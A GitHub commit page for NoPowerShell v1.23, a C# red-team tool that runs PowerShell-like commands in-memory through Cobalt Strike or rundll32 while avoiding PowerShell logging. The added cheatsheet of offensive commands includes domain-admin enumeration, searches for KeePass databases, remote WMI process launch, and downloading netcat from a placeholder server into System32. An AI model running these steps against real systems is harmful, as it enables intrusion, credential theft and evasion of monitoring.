Skip to content

Commit 34b5dca

Browse files
bitsadminbitsadmin
authored
Merge pull request #2 from bitsadmin/dev
Release v1.23
2 parents f0df5d4 + 1157074 commit 34b5dca

19 files changed

+1255
-115
lines changed

‎CHEATSHEET.md‎

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
# Cheatsheet
2+
Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell.
3+
4+
| Action | Command | Notes |
5+
| - | - | - |
6+
| List all commands supported by NoPowerShell | `Get-Command` | |
7+
| Get help for a command | `Get-Help -Name Get-Process` | Alternative: `man ps` |
8+
| Show current user | `whoami` | Unofficial command |
9+
| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | Unofficial command |
10+
| List all user groups in domain | `Get-ADGroup -Filter *` | |
11+
| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | |
12+
| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | |
13+
| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | |
14+
| List all users in domain | `Get-ADUser -Filter *` | |
15+
| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | |
16+
| Show information about the current system | `Get-ComputerInfo` | |
17+
| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | |
18+
| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | |
19+
| List all local groups | `Get-LocalGroup` | |
20+
| List details of a specific group | `Get-LocalGroup Administrators` | |
21+
| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | |
22+
| List all local users | `Get-LocalUser` | |
23+
| List details of a specific user | `Get-LocalUser Administrator` | |
24+
| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | |
25+
| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | |
26+
| List all computers in domain | `Get-ADComputer -Filter *` | |
27+
| List specific attributes of user | `Get-ADComputer DC01 -Properties Name,operatingSystem` | |
28+
| Copy file from one location to another | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | |
29+
| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | |
30+
| Locate KeePass files in the C:\Users\ directory | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | |
31+
| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | |
32+
| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | |
33+
| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | |
34+
| List processes | `Get-Process` | |
35+
| List processes on remote host | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | |
36+
| Gracefully stop processes | `Stop-Process -Id 4512,7241` | |
37+
| Kill process | `Stop-Process -Force -Id 4512` | |
38+
| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | |
39+
| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | Explicit credentials can be specified using the `-Username` and `-Password` parameters |
40+
| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | |
41+
| Launch process using WMI | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | This can also be done on a remote system |
42+
| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | |
43+
| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | |
44+
| Show all network interfaces | `Get-NetIPAddress -All` | |
45+
| Show the IP routing table | `Get-NetRoute` | |
46+
| List ARP cache | `Get-NetNeighbor` | Alternative: `arp` |
47+
| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | |
48+
| Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | |
49+
| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 google.com` | |
50+
| Check for open port | `tnc bitsadm.in -Port 80` | |
51+
| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | |
52+
| Format output as a list | `Get-LocalUser \| fl` | |
53+
| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | |
54+
| Format output as a table | `Get-Process \| ft` | |
55+
| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | |
56+
| Download file from the Internet | `wget http://myserver.me/nc.exe` | When compiled using .NET 2 only supports SSL up to SSLv3 (no TLS 1.1+) |
57+
| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | |
58+
| Count number of results | `Get-Process \| measure` | |
59+
| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | |
60+
| Show only the Name in a file listing | `ls C:\ \| select Name` | |
61+
| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | |
62+
| List all members of the "Domain Admins" group | `Get-ADGroupMember "Domain Admins"` | |
63+
| Resolve domain name | `Resolve-DnsName microsoft.com` | Alternatives: `host linux.org`, `Resolve-DnsName -Type MX pm.me` |
64+
| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | Alternative: `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` |
65+
| Show network interfaces | `Get-NetIPAddress` | Alternatives: `ipconfig`, `ifconfig` |
66+
| Show computer information | `Get-ComputerInfo` | Alternative: `systeminfo` |
67+
| List installed hotfixes | `Get-HotFix` | The output of this cmdlet together with the output of the `Get-ComputerInfo` cmdlet can be provided to [WES-NG](https://github.com/bitsadmin/wesng/) to determine missing patches |
68+
| List local drives | `Get-PSDrive` | |
69+
| Compress folder to zip | `Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip` | Only available when compiled against .NET 4.5+ |
70+
| Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | Alternative: `unzip C:\MyArchive.zip`. Only available when compiled against .NET 4.5+ |

‎CONTRIBUTING.md‎

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,9 @@
11
# Contributing
22

33
Add your own cmdlets by submitting a pull request.
4-
## Requirement
4+
## Aim
55
- Maintain .NET 2.0 compatibility in order to support the broadest range of operating systems
6+
- In case for whatever reason .NET 2.0 compatibility is not possible, add the `#if` preprocessor directive to the class specifying the unsupported .NET versions (for examples check the `*-Archive` cmdlets)
67

78
## Instructions
89
Use the TemplateCommand.cs file in the Commands folder to construct new cmdlets. The TemplateCommand cmdlet is hidden from the list of available cmdlets, but can be called in order to understand its workings. This command looks as follows: `Get-TemplateCommand [-MyFlag] -MyInteger [Int32] -MyString [Value]` and is also accessible via alias `gtc`.
@@ -22,7 +23,7 @@ Execute the following steps to implement your own cmdlet:
2223
1. Download Visual Studio Community from https://visualstudio.microsoft.com/downloads/
2324
* In the installer select the **.NET desktop development** component.
2425
* From this component no optional modules are required for developing NoPowerShell modules.
25-
2. Make sure to have the .NET 2 framework installed: OptionalFeatures -> '.NET Framework 3.5 (includes .NET 2.0 and 3.0)'.
26+
2. Make sure to have the .NET 2 framework installed: `OptionalFeatures.exe` -> '.NET Framework 3.5 (includes .NET 2.0 and 3.0)'.
2627
3. Clone this repository and create a copy of the **TemplateCommand.cs** file.
2728
* In case you are implementing a native PowerShell command, place it in folder the corresponding to the _Source_ attribute when executing in PowerShell: `Get-Command My-Commandlet`.
2829
* Moreover, use the name of the _Source_ attribute in the command's namespace.

‎README.md‎

Lines changed: 37 additions & 75 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
# NoPowerShell
22
NoPowerShell is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms. This .NET Framework 2 compatible binary can be loaded in Cobalt Strike to execute commands in-memory. No `System.Management.Automation.dll` is used; only native .NET libraries. An alternative usecase for NoPowerShell is to launch it as a DLL via rundll32.exe: `rundll32 NoPowerShell.dll,main`.
33

4-
Moreover, this project makes it easy for everyone to extend its functionality using only a few lines of C# code.
4+
This project makes it easy for everyone to extend its functionality using only a few lines of C# code. For more info, see [CONTRIBUTING.md](https://github.com/bitsadmin/nopowershell/blob/master/CONTRIBUTING.md).
55

6-
Latest binaries available from the [Releases](https://github.com/bitsadmin/nopowershell/releases) page.
6+
Latest binaries available from the [Releases](https://github.com/bitsadmin/nopowershell/releases) page. Bleeding edge code available in the [DEV](https://github.com/bitsadmin/nopowershell/tree/dev) branch. To kickstart your NoPowerShell skills, make sure to also check out the cmdlet [Cheatsheet](https://github.com/bitsadmin/nopowershell/blob/master/CHEATSHEET.md).
77

88
# Screenshots
99
## Running in Cobalt Strike
@@ -13,79 +13,23 @@ Latest binaries available from the [Releases](https://github.com/bitsadmin/nopow
1313
## Rundll32 version
1414
![NoPowerShellDll via rundll32](https://raw.githubusercontent.com/bitsadmin/nopowershell/master/Pictures/NoPowerShellDll.png "NoPowerShellDll via rundll32")
1515

16-
# Usage
17-
## Note
18-
When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe character (`|`) with respectively a caret (`^`) or a backtick (`` ` ``), i.e.:
19-
20-
- cmd.exe: `ls ^| select Name`
21-
- PowerShell: ```ls `| select Name```
16+
# Why NoPowerShell
17+
NoPowerShell is developed to be used with the `execute-assembly` command of Cobalt Strike.
18+
Reasons to use NoPowerShell:
19+
- Executes pretty stealthy
20+
- Powerful functionality
21+
- Provides the cmdlets you are already familiar with in PowerShell, so no need to learn yet another tool
22+
- If you are not yet very familiar with PowerShell, the cmd.exe aliases are available as well (i.e. `ping` instead of `Test-NetConnection`)
23+
- In case via `powerpick` or `powershell` cmdlets are not available, they _are_ available in `nps` (i.e. cmdlets from the ActiveDirectory module)
24+
- Easily extensible with only a few lines of C#
2225

26+
# Usage
2327
## Examples
24-
| Action | Command | Notes |
25-
| - | - | - |
26-
| List all commands supported by NoPowerShell | `Get-Command` | |
27-
| Get help for a command | `Get-Help -Name Get-Process` | Alternative: `man ps` |
28-
| Show current user | `whoami` | Unofficial command |
29-
| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | Unofficial command |
30-
| List all user groups in domain | `Get-ADGroup -Filter *` | |
31-
| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | |
32-
| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | |
33-
| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | |
34-
| List all users in domain | `Get-ADUser -Filter *` | |
35-
| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | |
36-
| Show information about the current system | `Get-ComputerInfo` | |
37-
| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | |
38-
| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | |
39-
| List all local groups | `Get-LocalGroup` | |
40-
| List details of a specific group | `Get-LocalGroup Administrators` | |
41-
| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | |
42-
| List all local users | `Get-LocalUser` | |
43-
| List details of a specific user | `Get-LocalUser Administrator` | |
44-
| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | |
45-
| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | |
46-
| List all computers in domain | `Get-ADComputer -Filter *` | |
47-
| List specific attributes of user | `Get-ADComputer DC01 -Properties Name,operatingSystem` | |
48-
| Copy file from one location to another | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | |
49-
| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | |
50-
| Locate KeePass files in the C:\Users\ directory | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | |
51-
| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | |
52-
| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | |
53-
| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | |
54-
| List processes | `Get-Process` | |
55-
| List processes on remote host | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | |
56-
| Gracefully stop processes | `Stop-Process -Id 4512,7241` | |
57-
| Kill process | `Stop-Process -Force -Id 4512` | |
58-
| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | |
59-
| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | Explicit credentials can be specified using the `-Username` and `-Password` parameters |
60-
| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | |
61-
| Launch process using WMI | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | This can also be done on a remote system |
62-
| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | |
63-
| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | |
64-
| Show all network interfaces | `Get-NetIPAddress -All` | |
65-
| Show the IP routing table | `Get-NetRoute` | |
66-
| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | |
67-
| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 google.com` | |
68-
| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | |
69-
| Format output as a list | `Get-LocalUser \| fl` | |
70-
| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | |
71-
| Format output as a table | `Get-Process \| ft` | |
72-
| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | |
73-
| Download file from the Internet | `wget http://myserver.me/nc.exe` | When compiled using .NET 2 only supports SSL up to SSLv3 (no TLS 1.1+) |
74-
| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | |
75-
| Count number of results | `Get-Process \| measure` | |
76-
| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | |
77-
| Show only the Name in a file listing | `ls C:\ \| select Name` | |
78-
| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | |
79-
| List all members of the "Domain Admins" group | `Get-ADGroupMember "Domain Admins"` | |
80-
| Resolve domain name | `Resolve-DnsName microsoft.com` | Alternatives: `host linux.org`, `Resolve-DnsName -Type MX pm.me` |
81-
| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | Alternative: `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` |
82-
| Show network interfaces | `Get-NetIPAddress` | Alternatives: `ipconfig`, `ifconfig` |
83-
| Show computer information | `Get-ComputerInfo` | Alternative: `systeminfo` |
84-
| List installed hotfixes | `Get-HotFix` | The output of this cmdlet together with the output of the `Get-SystemInfo` cmdlet can be provided to [WES-NG](https://github.com/bitsadmin/wesng/) to determine missing patches |
28+
See [CHEATSHEET.md](https://github.com/bitsadmin/nopowershell/blob/master/CHEATSHEET.md).
8529

8630
## Install in Cobalt Strike
87-
1. Copy both NoPowerShell.exe and NoPowerShell.cna to the **scripts** subfolder of Cobalt Strike
88-
2. Launch Cobalt Strike and load the .cna script in the Script Manager
31+
1. Copy both `NoPowerShell.exe` and `NoPowerShell.cna` to the **scripts** subfolder of Cobalt Strike
32+
2. Launch Cobalt Strike and load the `NoPowerShell.cna` script in the Script Manager
8933
3. Interact with a beacon and execute commands using the `nps` command
9034

9135
## Launch via rundll32
@@ -94,6 +38,12 @@ When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe
9438
3. The shortcut will now look like `rundll32 C:\Path\to\NoPowerShell.dll,main`
9539
4. Double click the shortcut
9640

41+
## Note
42+
When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe character (`|`) with respectively a caret (`^`) or a backtick (`` ` ``), i.e.:
43+
44+
- cmd.exe: `ls ^| select Name`
45+
- PowerShell: ```ls `| select Name```
46+
9747
# Known issues
9848
- Pipeline characters need to surrounded by spaces
9949
- TLS 1.1+ is not supported by .NET Framework 2, so any site enforcing it will result in a connection error
@@ -105,9 +55,6 @@ When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe
10555
- Add support for ArrayArgument parameter
10656
- Add support for .NET code in commandline, i.e.: `[System.Security.Principal.WindowsIdentity]::GetCurrent().Name`
10757

108-
# Contributing
109-
See [CONTRIBUTING.md](https://github.com/bitsadmin/nopowershell/blob/master/CONTRIBUTING.md).
110-
11158
# Requested NoPowerShell cmdlets
11259
| Cmdlet | Description |
11360
| - | - |
@@ -133,6 +80,8 @@ Authors of additional NoPowerShell cmdlets are added to the table below. Moreove
13380
| Get-ADGroupMember | ActiveDirectory | |
13481
| Get-ADUser | ActiveDirectory | |
13582
| Get-ADComputer | ActiveDirectory | |
83+
| Compress-Archive | Archive | Requires .NET 4.5+ |
84+
| Expand-Archive | Archive | Requires .NET 4.5+ |
13685
| Get-Whoami | Additional | whoami.exe /ALL is not implemented yet |
13786
| Get-RemoteSmbShare | Additional | |
13887
| Get-Command | Core | |
@@ -148,6 +97,7 @@ Authors of additional NoPowerShell cmdlets are added to the table below. Moreove
14897
| Get-ItemProperty | Management | |
14998
| Get-Process | Management | |
15099
| Stop-Process | Management | |
100+
| Get-PSDrive | Management | |
151101
| Get-WmiObject | Management | |
152102
| Get-HotFix| Management | |
153103
| Invoke-WmiMethod | Management | Quick & dirty implementation |
@@ -156,11 +106,23 @@ Authors of additional NoPowerShell cmdlets are added to the table below. Moreove
156106
| Get-NetIPAddress | NetTCPIP | |
157107
| Get-NetRoute | NetTCPIP | |
158108
| Test-NetConnection | NetTCPIP | |
109+
| Get-NetNeighbor | NetTCPIP | No support for IPv6 yet |
159110
| Get-SmbMapping | SmbShare | |
160111
| Format-List | Utility | |
161112
| Format-Table | Utility | |
162113
| Invoke-WebRequest | Utility |
163114
| Measure-Object | Utility |
164115
| Select-Object | Utility |
165116

166-
**Authored by Arris Huijgen ([@bitsadmin](https://twitter.com/bitsadmin/) - https://github.com/bitsadmin/)**
117+
# Acknowledgements
118+
Various NoPowerShell cmdlets and NoPowerShell DLL include code created by other developers.
119+
120+
| Who | Website | Notes |
121+
| - | - | - |
122+
| Contributors of pinvoke.net | https://www.pinvoke.net/ | Various cmdlets use snippets from pinvoke |
123+
| Michael Conrad | https://github.com/MichaCo/ | Parts of the Resolve-Dns cmdlet are based on the code of the DnsClient.Net project |
124+
| Rex Logan | https://stackoverflow.com/a/1148861 | Most code of the Get-NetNeighbor cmdlet originates from his StackOverflow post |
125+
| PowerShell developers | https://github.com/PowerShell/ | Code of NoPowerShell DLL is largely based on the code handling the console input of PowerShell |
126+
127+
128+
**Authored by Arris Huijgen ([@bitsadmin](https://twitter.com/bitsadmin/) - https://github.com/bitsadmin/)**

0 commit comments

Comments
 (0)